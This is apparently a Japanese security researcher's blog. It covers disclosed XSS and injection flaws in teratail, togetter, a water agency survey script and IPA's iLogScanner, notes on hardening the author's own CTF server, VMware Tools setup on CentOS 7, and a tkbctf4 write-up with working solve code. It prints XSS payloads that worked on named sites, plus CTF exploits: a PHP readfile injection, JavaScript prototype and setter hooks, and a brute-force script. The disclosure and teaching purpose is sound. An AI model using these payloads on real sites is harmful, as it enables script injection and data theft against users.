!["onerror="alert(location)][WIDTH:100](hoge)

と書き込むと、

<img src="hoge" width="100" alt=""onerror="alert(location)">

となって、スクリプトが動いた。これも修正されたけど、onerrorなどの文字列を無害な文字列に置換するという対応だった。https://teratail.com/js/frontend/question_editor.jsに名残が残っている。

    var token_escape = function(out) {
        if(typeof out === 'string') {
            out = out.replace(/\t/g, '    ');
            out = out.replace(/&/g, '&amp;');
            out = out.replace(/&lt;/g, '&amp;lt;');
            out = out.replace(/&gt;/g, '&amp;gt;');
            out = out.replace(/&nbsp;/g, '&amp;nbsp;');

            out = out.replace(/</g, '&lt;');
            out = out.replace(/>/g, '&gt;');
            out = out.replace(/"/g, '&quot;');
            out = out.replace(/'/g, '&apos;');
            out = out.replace(/ /g, '&nbsp;');
            out = out.replace(/\\/g, '&#92;');
            //out = out.replace(/on(Blur|Focus|Change|Select|SelectStart|Submit|Reset|Abort|Error|Load|Unload|Click|DblClick|KeyUp|KeyDown|KeyPress|MouseOut|MouseOver|MouseUp|MouseDown|MouseMove)/gi, 'on<!-->$1');
        }

        return out;
    }

これでは、例えば、onmouseenterを使うと回避できる。今では正しく"がエスケープされている。

脆弱性を指摘するときに、修正方法も言うべきなのかもしれないが、差し出がましいし、「お前の言う通りに直したけど脆弱性が残ったぞ( ゚Д゚)ゴルァ!」ということになりそうな気もする。

リンク。

[click](http://example.com)

が、

<a href="http://example.com">click</a>

に変換される。

[XSS](javascript:alert(location&#x29;)

と書き込むと

<a href="javascript:alert(location&#x29;">XSS</a>

に変換される。リンクをクリックするとteratail.comのオリジンでスクリプトが動く。)が使えないけど、属性値の中ならば実体参照が使える。

あと、CSRFが可能だった。

9日目 独立行政法人 水資源機構

独立行政法人 水資源機構

http://www.water.go.jp/cgi-bin/wl-enq/enq.cgi?id=waterWL-Enqが設置されていた(Internet Archive)。WL-Enqには任意のコードを実行可能な脆弱性がある。

WL-Enqの脆弱性 - kusano_kの日記

21日目 togetter

togetter

'+alert(location)+'検索する'がエスケープされずにJavaScriptの文字列中に埋め込まれ、次のHTMLが出力されていた。

<script type="text/javascript" charset="utf-8"> var pageOptions = {
 'pubId': 'pub-1379083136098030',
 'query': ''+alert(location)+'',
 'hl': 'ja',
}

f:id:kusano_k:20141221004304p:plain

現在も、'はエスケープされないけど、文字列が"で括られるようになっている。

HTML中のJavaScript中の文字列を動的に生成するのは面倒くさいし危険。

  • <script>中ではHTMLエスケープをしない、onclickなどのイベントハンドラ中ではHTMLエスケープする
  • サーバーからの出力時にHTMLエスケープをしているという前提で、innerHTMLにそのまま突っ込むと、\x3c<になる
  • 同じく\をエスケープしていないと、var x='【入力A】', y='【入力B】'に対して、var x='aaa\', y=';alert(location)//';という攻撃ができる
  • エンコードとブラウザによっては後ろの文字を消せるので、↑と同様のことができる。参照
  • 改行をエスケープしないとエラーになる。改行は\nだけではない。参照

動的に生成する部分はJavaScriptではなくHTML中に書き出すのが良いと思う。これならば、HTMLのエスケープをするだけで良い。

<span id="param" style="display:none">hoge&lt;&gt;'"\
bbb
</span>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script>
var x = $("#param").text();
alert(x);
</script>

jQueryを使っていない場合は、

var x = document.getElementById("param").textContent;

が正しそうだけど、古いIEでは動かない。どうするのが一番良いのだろう?

追記

ありがとうございます!

もしくは、URLエンコードすればだいたい大丈夫らしい。

25日目 ksnctf

ksnctf

私のサイト。普通のサイトで脆弱性を突くと怒られるけど、このサイトのctfq.sweetduet.infoの問題で指定されたポートならば構わないので、お楽しみください。

クロスサイトリクエストフォージェリ

最初の頃は何も対策をしていなかったので、他人にフラグを投稿させることが可能だった。解いた問題を解いていないことにする機能は無いので、勝手に解いたことにされると残念。

安全なWebアプリケーションの作り方のオススメに従って、セッションIDをそのままトークンにしているけど、止めたほうが良さそう。

アクセス制限不備

各種データの保存にSQLiteを使っているけれど、データベースファイルにウェブからアクセス可能だった。これはひどい。問題の答えと、他人が問題を解いた時刻が分かってしまう(ログには日付までしか出していない)状態だった。Twitterから返ってくるアクセストークンとシークレットを保存していなくて良かった。これがあると非公開の人のツイートが読めてしまう。

攻略用サーバーのアカウントの制限不備

一部の問題sshでログインして解くようになっている。また、任意のコードが実行できる問題もある。このような問題で変なことをされると困るので、次の制限をかけている。

  • 問題ごとに別にユーザーを作る。各問題のファイルのアクセス権限を適切に設定すれば他の問題を横から解くことができなくなる
  • ホームディレクトリ中のファイルの所有者をrootにしてパーミッションを落とす。これによって、他人が解いたときのコマンド履歴が見られなくなるし、~/.bashrcに悪戯されることも防げる(※)
  • /tmpのリード権限を落とす。これによってファイルの一覧が取得できなくなるので、他人が解いている途中のファイルを見ることができなくなる
  • これらの仮想環境の中で動かし、仮想環境を動かしているホスト側のユーザーの外向きのネットワーク接続を制限する。仮想マシンのrootが取られても、他に迷惑がかからないように。仮想マシンがやたらと重いのは、さくらのVPSの上で動いているマシンの上で仮想環境が動いていて、CPUの仮想化支援が効いていないから。ちなみに、最近のXeonなら「仮想化のネスティング」ができるらしい

これで充分かと思いきや、(※)のところに穴があった。

本人に話を訊いたところ「chshコマンドとかもマズいんじゃない?」と教えてもらったので、とりあえずsuidが付いているコマンドは全部パーミッションを落とした。

Linuxの脆弱性でrootを取ることも可能だった

そういえば、脆弱性なのか仕様なのか、想定外の解き方で、ユーザーには所有権が手に入らず読み取りも不可のファイルが、所有者はそのままでコピーされていたことがあった。cp -pで所有者を維持したままのコピーはできるけど、コピーするユーザーに読み取り権限がないと無理なはず。誰か方法を知っていたらこっそり教えてください。

CentOS 7にVMWare Toolsをインストールしてファイル共有を使う

一週間悩んだのでメモ。

open-vm-toolsをインストールしてみる

VMWare ToolsのOSS実装があるらしい。yumでインストールできる。これで上手く行けば一番楽。動かなかったのでアンインストール。

[root@localhost user]# yum install open-vm-tools
[root@localhost user]# yum remove open-vm-tools

必要なパッケージのインストール

Minimalでインストールして、ほとんど何も入っていないので、以降の手順で必要なものをインストール。kernel-develはバージョン番号を指定する必要があるらしい。

[root@localhost user]# yum install perl gcc net-tools kernel-devel-$(uname -r)

VMWare Toolsのインストール

open-vm-toolsではダメだったので、普通にVMWare Toolsをインストールする。

VMWareのメニューから、管理 → VMWare Toolsのインストール

[root@localhost user]# mount /dev/cdrom /mnt/cdrom
[root@localhost user]# tar zxvf /mnt/cdrom/VMwareTools-9.6.2-1688356.tar.gz
[root@localhost user]# vmware-tools-distrib/vmware-install.pl
[root@localhost user]# rm -rf vmware-tools-distrib/

選択肢は全てデフォルト。途中で↓のようなエラーが出てコンパイルに失敗するが、とりあえず最後まで進める。

In file included from /tmp/modconfig-M45vq5/vmhgfs-only/inode.c:36:0:
/tmp/modconfig-M45vq5/vmhgfs-only/inode.c: 関数 ‘HgfsPermission’ 内:
/tmp/modconfig-M45vq5/vmhgfs-only/./shared/compat_dcache.h:57:38: エラー: ‘struct dentry’ は ‘d_count’ という名前のメンバを持っていません
 #define compat_d_count(dentry) dentry->d_count
                                      ^
/tmp/modconfig-M45vq5/vmhgfs-only/inode.c:1904:23: 備考: in expansion of macro ‘compat_d_count’
          int dcount = compat_d_count(dentry);
                       ^

ソースの修正

Workstation 10.0.3 and Centos 7 Guest Tools | VMware Communities

を参考にファイル共有用のドライバのソースを修正する。

[root@localhost user]# cd /lib/vmware-tools/modules/source/
[root@localhost source]# tar xvf vmhgfs.tar
[root@localhost source]# chmod u+w vmhgfs-only/shared/compat_dcache.h
[root@localhost source]# vi vmhgfs-only/shared/compat_dcache.h

54行目の

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 11, 0)

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)

に書き換える。

[root@localhost source]# chmod u-w vmhgfs-only/shared/compat_dcache.h
[root@localhost source]# tar cvf vmhgfs.tar vmhgfs-only
[root@localhost source]# rm -rf vmhgfs-only

再インストール

[root@localhost source]# /bin/vmware-config-tools.pl

これでインストールが通れば良い。 管理 → 仮想マシン設定 → オプション → 共有フォルダ でフォルダを追加する。/mnt/hgfs/にこのフォルダが見えていれば成功。

IPAにIPAの脆弱性を報告した

JVNDB-2014-000133 iLogScanner におけるクロスサイトスクリプティングの脆弱性

IPAはソフトウェアやウェブアプリケーションの脆弱性関連情報の届け出を受け付けている

IPAiLogScannerというツールを出していることを知った。 Apacheとかのログを入力すると攻撃の兆候を検出してくれるという便利そうなツールIPAのソフトに脆弱性があったら面白いと思い、探すことにした。

とりあえず、まずは動かしてみようと、ksnctfのログを食わせてみた。

f:id:kusano_k:20141115225354p:plain:w480

何もしていないけど、終了。

脆弱性の詳細

iLogScannerは攻撃と思われるログを出力するけど、その際エスケープが行われていなかった。ブラウザのURLに<や>などを入力してもURLエンコードされてしまうが、telnetなどで直接書き込むApacheのログにも<や>が残る。

f:id:kusano_k:20141115230208p:plain:w480

脆弱性の悪用方法

攻撃者がターゲットのウェブサイトに細工したリクエストを送りつけて、ターゲットがiLogScannerを使ってログを閲覧すると、ローカルファイル内でスクリプトが動く。ローカルファイル内のスクリプトで何ができるかはブラウザによって大きく違う。古いIEだとOS上で任意のコマンドが実行できる。最近のブラウザだと制限が厳しくなっているけど、少なくとも同じファイル内の情報は取得できるはず。

ローカルのHTMLファイルからどこまで読み取れるか選手権 2011 - 金利0無利息キャッシング – キャッシングできます - subtech

IEのローカルファイルをXHRでどこまで読みとらせるか - 葉っぱ日記

ところで

脆弱性関連情報の届出のウェブ届出フォームが3年前くらいから

現在、ウェブ届出フォームは停止しております。ご不便をお掛けして申し訳ありませんが、届出については電子メールで届出頂けますよう、よろしくお願い致します。

なのだけど、いつ復活するんですかね……。

テストデータ

中を覗いてみたら、面白いテストデータを見つけた。

f:id:kusano_k:20141116190525p:plain:w480

AROE LOTION TISSUES
やさしい空気もつくる箱
非価値の力を利用して、臭いを分解、空気をきれいに。
お部屋に置くだけで効果を実感。
そんな光触媒技術を応用したボックスです。
Boxティッシュの宣伝より・・・

実物の写真がこのサイトに載っている。

ハイデッカーBlogZ: こだわりのティシュー

光触媒を使ったティッシュがあるとは……。

tkbctf4 Write-up

tkbctf4にぼっチームsuperflipで参加した。1655ptで4位。最後の1時間でMMAとdcuaに抜かれた(´Д`; )

f:id:kusano_k:20141103190632p:plain:w320 f:id:kusano_k:20141103190636p:plain:w320

1. rcrypto (cryptography 200)

32bit程度の整数a, bと、2048bitの整数N、res1=M(M+a)%N、res2=M(M+b)%Nが与えられ、Mを求める問題。res1-res2で、(a-b)Mになる。xの対数はN-xだけど、逆数はどうやって求めるのだろう? 効率の良い方法が分からなかった。yがxの逆数ならば、xy = kN+1が成り立つので、kの値を増やしながら、kN+1がxで割り切れるかどうかを調べた。kは高々xくらいになるはずで、Pythonでも数時間くらいで求められた。

FLAG{R4b1n cryp705y573m 15 v3ry 1n73r3571ng!!!}

2. monochrome bar (steganography 100)

72900x1ピクセルの画像が問題。270ピクセルごとに折り返すとQRコードが出てくる。
f:id:kusano_k:20141103193203p:plain
四隅のマーカーに正方形を書いて読み取ると、

RkxBR3tDaDF0M2sxazBrMXNoMW4tbTRufQ==

 ↓

FLAG{Ch1t3k1k0k1sh1n-m4n}

3. high-low (cryptography 400)

High-Lowゲーム。トランプが一枚ずつめくられていき、次のトランプが大きいか小さいかを予測する。52枚全部めくれたらクリア。処理を追い切れていないが、ゼロ知識証明みたいなことをして、サーバー側もズルをできないようにしたいらしい。α, β=αkeyが事前に送られてくる大きな整数、keyを秘密にしなければいけない感じだがなぜか送られてくる。c_cardが伏せられたカードでHigh/Lowを答える前は、サーバー側は内容を知っているけど、こちら側は分からない。

  1. ユーザーがHighかLowかを答える
  2. サーバーがm_card(これからトランプの数字が計算できる)を送ってくる
  3. サーバーがsを秘密の乱数として、a=αsとb=m_cardsを送ってくる
  4. ユーザーが任意の乱数cを送る
  5. サーバーが対応する値rを返してくる
  6. rはαr=a βcとm_cardr=b c_cardcを満たす整数。r=s+c key

難しいことは分からないが、サーバーのkeyが分かるので答える前にm_cardを求めれば良い。main.jsのnext関数を

function next (me, room) {
    var d = new $.Deferred();

    $.get( './next', function (card) {
            var card = card_of_string(card);
            var i    = index_of_card(card, room.cards);
            
            var c_card = [card[0], card[1].modPow(me.key.modInverse(room.q), room.p)];
            var m_card = [c_card[0], c_card[1].modPow(room.key.modInverse(room.q), room.p)];
            console.log("card: "+symbols[get_card(m_card, room.x, room.p)])
    
            if (i > -1) {
                room.cards = extracted_cards(i, room.cards);

                $('.choice').removeAttr('disabled');

                me['c_card'] = card;
                d.resolve(card, me, room);
            } else {
                d.reject('this card does not exist in c0.');
            }
        })
    
    return d.promise();
}

と書き換え、Fidllerで差し替えた。コンソールにトランプの数字が出てくるので間違えないようにポチポチ。
f:id:kusano_k:20141103195721p:plain:w320

FLAG{0n30fTheB3st!sWh4t?}

4. gradius (binary 100)

64bitのELFファイル。4005d2あたりで変数に入れた文字列と素直に比較している。手入力したら遅いと言われた。

[kusano@localhost tkbctf4]$ ./gradius
kkjjhlhlba
too slow
[kusano@localhost tkbctf4]$ echo "kkjjhlhlba" | ./gradius
FLAG{!!D4GG3R!!}
FLAG{!!D4GG3R!!}

5. ITF point system (web 300)

解けなかった。
ユーザー登録をすると、名前と点数を登録するフォームが出てくる。(名前)@(ハッシュ?).dbという名前でデータベースファイルをダウンロードできる。
SQLインジェクションがあるけど、何もできない。

hint: flag is in flag.php
hint2: php code execution

というヒントが追加された。
名前の後ろに.phpを付けるのは試していたが、.php.が正解だったらしい(´Д`; ) こんな仕様があったとは……。
mod_mime - Apache HTTP サーバ
「xxx.php.」という名前でログインして、「<?php readfile("../flag.php") ?>」という名前のユーザーを登録すれば良い。

<?php
echo "CENSORED{XXXXXXXXXXXXXXXXXXXXXXXXXXX}\n";
//echo "FLAG{mod_mime's 5tr4ng3 b3h4vi0r}\n";
FLAG{mod_mime's 5tr4ng3 b3h4vi0r}

6. Just Do It ? (binary 200)

Windowsの64bitプログラム。x64_dbgで解析した。色々計算しているようだが、結局は入力に値をxorして比較しているだけなので、0000000とかを入力して比較しているところまで飛ぶと楽。

>rev.exe
Welcome....
Can you get flag ? Solve!
Stage 1 Input : SYNT{Ra
Now checking...
Congrats! Go to next stage.

Stage 2 Input : wblrqZl
Now checking...
Congrats! Go to next stage.

Stage 3 Input : SvefgCe
Now checking...
Congrats! Go to next stage.

Stage 4 Input : boyrz?}
Now checking...

Congrats! So you have already gotten flag. Find it :)

SYNT{RawblrqZlSvefgCeboyrz?}をROT13。

FLAG{EnjoyedMyFirstProblem?}

7. fourbytes (binary 500)

解けなかった。
指定されたサーバーに繋いで5回ジャンケンして勝つと4バイトだけ指定したコードを実行してくれるらしい。乱数の初期化が時刻なので、サーバーとタイミングを合わせればジャンケンは勝てる。問題文曰く、NXとASLRが有効。4バイト読み込み用に確保されるアドレスもランダム。これでどうしろと……。

8. Cheer of CPU (binary 300)

解けなかった。
(たぶん)Swiftで作ったプログラム。

9. rand (javascript 200)

指定されたアドレスに接続するとNode.jsのインタプリタが動いている。関数のローカルスコープにあるフラグを読み出せという問題。最近のグローバル変数を使わないJavaScriptのプログラムだとローカルスコープにアクセスしたいことが良くあるのだけど簡単な方法は無いのだろうか? 入力した文字がevalされるけど、使えそうな文字は消されてしまう。Array.joinを呼び出しているので書き換えた。

>nc 203.178.132.117 30349
var g = function () {
  var rand = Math.random,
      floor = Math.floor;

  var symbols = [0,0,0,0,0,0,0].map(function (i) {
    return floor(rand() * 6);
  }).map(function (i) {
    return ['&', '%', '*', '@', '#', '$'][i];
  });

  function getFlag () {
    var FLAG = 'FLAG_IS_HIDDEN_HERE';
    return floor(rand() * 100000) === 100000 ? FLAG : 'try again';
  }

  function f (str) {
    eval(str
         .split('(').join(symbols[0])
         .split(')').join(symbols[1])
         .split('=').join(symbols[2])
         .split('*').join(symbols[3])
         .split('&').join(symbols[4])
         .split('"').join(symbols[5])
         .split("'").join(symbols[6]));
  }

  return f.bind(null);
}();

// Good luck!
rand> Array.prototype.join = function(){return "x=getFlag"}
function (){return "x=getFlag"}
rand> g("")
undefined
rand> x
function getFlag() {
    var FLAG = 'FLAG{7f94427ec6f49f70642d41c675b98832}';
    return floor(rand() * 100000) === 100000 ? FLAG : 'try again';
  }
rand>
FLAG{7f94427ec6f49f70642d41c675b98832}

10. high-low2 (cryptography 400)

解けなかった。
↑のhigh-lowの改良版。サーバーからkeyが送られてこない。さっぱり分からなかった。ゼロ知識証明は何度もやりとりをして確率的に知識を持っていることを証明するらしいけど、このプログラムは1回しか通信をしていない。その辺でプロトコル自体に穴があるのだろうか?

11. Simple Serial Code (binary 200)

.NETプログラム。入力を4文字ごとに区切り、それぞれのMD5ハッシュを計算して先頭4文字を切り出して連結。それが"this_is_not_flag!!"のMD5 (5d76d6c8889505b3273844a021a3efc4)と等しければチェックが通る。サーバーにシリアルコードを投げているのでこの条件を満たす文字列ならば何でも良い。4文字ということは16bitなのですぐに探索できる。安全にしようと凝ったことをするのは、かえって危険になるということだろうか?

import hashlib

def md5(x): return hashlib.md5(x).hexdigest()

T = md5("this_is_not_flag!!")

ans = ["____"]*8
A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for a1 in A:
 for a2 in A:
  for a3 in A:
   for a4 in A:
        s = a1+a2+a3+a4
        h = md5(s)[:4]
        for i in range(8):
            if h==T[4*i:4*(i+1)]:
                ans[i] = s
                print "".join(ans)
C:\documents\ctf\tkbctf4\11>solve.py
____________ABCU________________
____________ABCU________AHsH____
____APkN____ABCU________AHsH____
____APkN____ABCU____AWtFAHsH____
____AYhE____ABCU____AWtFAHsH____
____AYhE____ABCUAZgpAWtFAHsH____
____AYhE____ABCUAZgpAbWvAHsH____
____AYhE____AdQmAZgpAbWvAHsH____
____AYhE____AeyIAZgpAbWvAHsH____
____AYhE____AkbGAZgpAbWvAHsH____
____AYhE____AlemAZgpAbWvAHsH____
____AYhE____AlemAZgpAbWvAmFN____
____ArRt____AlemAZgpAbWvAmFN____
____BFvN____AlemAZgpAbWvAmFN____
____BFvN____BIGaAZgpAbWvAmFN____
____BFvN____BIGaAZgpBJMcAmFN____
____BLoN____BIGaAZgpBJMcAmFN____
BMIgBLoN____BIGaAZgpBJMcAmFN____
BMIgBLoNBOrfBIGaAZgpBJMcAmFN____
BMIgBLoNBOrfBIGaAZgpBJMcBQvV____
BMIgBLoNBVNJBIGaAZgpBJMcBQvV____
BMIgBZLhBVNJBIGaAZgpBJMcBQvV____
BMIgBZLhBVNJBbwLAZgpBJMcBQvV____
BMIgBZLhBVNJBfQXAZgpBJMcBQvV____
BiFWBZLhBVNJBfQXAZgpBJMcBQvV____
BiFWBiMHBVNJBfQXAZgpBJMcBQvV____
BjXXBiMHBVNJBfQXAZgpBJMcBQvV____
BkisBiMHBVNJBfQXAZgpBJMcBQvV____
BkisBiMHBVNJBmjvAZgpBJMcBQvV____
BkisBiMHBVNJBmjvAZgpBocMBQvV____
BqHWBiMHBVNJBmjvAZgpBocMBQvV____
BqHWBiMHBrYdBmjvAZgpBocMBQvV____
BqHWBiMHBrYdBmjvBuJeBocMBQvV____
BqHWBiMHBrYdBmjvBxRoBocMBQvV____
BqHWBiMHBrYdBmjvBxRoCBxMBQvV____
BqHWBiMHBrYdBmjvBxRoCBxMCDdv____
BqHWBiMHBrYdCFcaBxRoCBxMCDdv____
BqHWBiMHBrYdCFcaCFwaCBxMCDdv____
BqHWCFyJBrYdCFcaCFwaCBxMCDdv____
BqHWCFyJBrYdCFcaCFwaCBxMCDdvCIgB
 :

最初は数字も含めていたらサーバー側からシリアルコード英字だけだと403が返ってきた。なぜかフラグも含まれてはいたけれど、一応英字だけで探索し直した。

>SimpleSerialCode.exe 0fZT12EQ0zeU1FO11NCG1MCv1MWI19GA

ハンドルされていない例外: System.Net.WebException: リモート サーバーがエラーを返しま
した: (403) 使用不可能
   場所 System.Net.HttpWebRequest.GetResponse()
   場所 SimpleSerialCode.Main(String[] args)

>SimpleSerialCode.exe BqHWCFyJBrYdCFcaCFwaCBxMCDdvCIgB
Congratulations!!
FLAG{06e57cb21b042c4d52a1e516b14cceae}
FLAG{06e57cb21b042c4d52a1e516b14cceae}

12. amida (misc 300)

解けなかった。
アミダクジ。どこかで見た問題。ただしアミダクジが画像(´Д`; )

13. args (javascript 200)

↑のrandと同じような問題。bindでthisを指定していないから外側のthisが使われ、代入しているので、フックできる。

>nc 203.178.132.117 24089
var g = (function () {
  var FLAG = 'FLAG_IS_HIDDEN_HERE';

  function f (flg /* args[]... */) {
    this.args = arguments;
    if (flg) {
      return FLAG;
    } else {
      return Array.prototype.slice.call(this.args, 1).join(', ');
    }
  }

  return f.bind(null, false);
})();

// Good luck!
args> __defineSetter__("args", function(v){v[0]=true})
undefined
args> g()
"FLAG{3d2dba5b774814fa8fe87798898b7b30}"
args>
"FLAG{3d2dba5b774814fa8fe87798898b7b30}"

rakuda (binary 300)

解けなかった。